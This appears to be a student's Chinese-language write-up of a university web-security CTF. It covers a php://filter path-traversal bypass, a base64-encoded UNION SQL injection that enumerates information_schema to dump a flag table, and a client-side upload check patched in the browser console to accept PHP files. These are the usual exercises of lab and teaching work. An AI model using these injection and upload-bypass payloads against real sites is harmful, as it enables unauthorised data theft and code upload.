国科大web安全技术第二次ctf

第一题

第二题

如果文件路径是以.开头,或者路径中出现..的次数超过2次,则拿不到flag

构造文件路径:php://filter/resource=../flag,最终得到flag: flag{Bypass_File_Path_Check}

第三题

可以看到题目url为

而且题目是easy sqli

可以猜到是sql注入.

1. 通过order by进行尝试,获取表的属性个数

  • 构造1 order by 3:id=MSBvcmRlciBieSAz 结果:no result

  • 构造1 order by 2:id=MSBvcmRlciBieSAy

因此可以判断用户表有两个属性列。

2. 获取所有的数据库名称

  • 构造:1 union select 1, database();

    • 其中,1 union select 1, database();经过base64编码后为:MSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKTs=,此为id输入。

    • 从第1.可知,用户表有两个属性,database()返回的是一列。

3. 已知数据库名称,获取数据库所有表名称

  • 构造:1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='websec';

  • 用base64编码为:MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3dlYnNlYyc7,用此id通过burpsuite输入。

4. 获取表flag中的字段名

  • 构造:1 union select 1, group_concat(column_name) from information_schema.columns where table_schema='websec' and table_name='flag';

  • base64编码为:MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nd2Vic2VjJyBhbmQgdGFibGVfbmFtZT0nZmxhZyc7,此为burpsuite中id的输入。

5. 获取表flag中的数据

  • 构造:1 union select 1, group_concat(value) from flag;

  • base64编码为:MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHZhbHVlKSBmcm9tIGZsYWc7此为id的输入。

第四题

1.随便上传一个文件,发现有提示

2. 查看网页代码,发现有控制文件格式的代码

3. 在控制台修改函数cehckFileSizeAndType

 function checkFileSizeAndType(maxSize,allowType,fileId) {
        //默认大小
        if(!maxSize){
            maxSize=10*1024*1024;
        }
        //默认类型
        if(!allowType){
            allowType=new Array('jpg','png');
        }
        // 自己的代码
        allowType = new Array('php', 'jpg', 'png');
        //js通过id获取上传的文件对象
        var file = document.getElementById(fileId);
        var types =allowType;
        var fileInfo = file.files[0];
        if(!fileInfo){
            alert("请选择文件!");
            return false;
        }
        var fileName = fileInfo.name;
        //获取文件后缀名
        var file_typename = fileName.substring(
            fileName.lastIndexOf('.') + 1, fileName.length);
        //定义标志是否可以提交上传
        var isUpload = true;
        //定义一个错误参数:1代表大小超出 2代表类型不支持
        var errNum =0;
        if (fileInfo) {
            if (fileInfo.size > maxSize) {
                isUpload = false;
                errNum=1;
            } else {
                for (var i in types) {
                    if (types[i] == file_typename) {
                        isUpload = true;
                        return isUpload;
                    } else {
                        isUpload = false;
                        errNum=2;
                    }
                }
            }
        }
        //对错误的类型进行对应的提示
        if (!isUpload) {
            if(errNum==1){
                var size = maxSize/1024/1024;
                alert("上传的文件必须为小于"+size+"M的图片!");
            }else if(errNum==2){
                alert("上传的"+file_typename+"文件类型不支持!只支持"+types.toString()+"格式");
            }else{
                alert("没有选择文件");
            }
            file.value="";
            return isUpload;
        }
    }
​

使得其支持php文件,再点击上传,网页提示。

  1. 求助同学,他们发现了文件index.php.swp,将上传文件通过buipsuite修改后缀为PHP

  2. 将khw.php用md5加密,得到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

conheaven

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值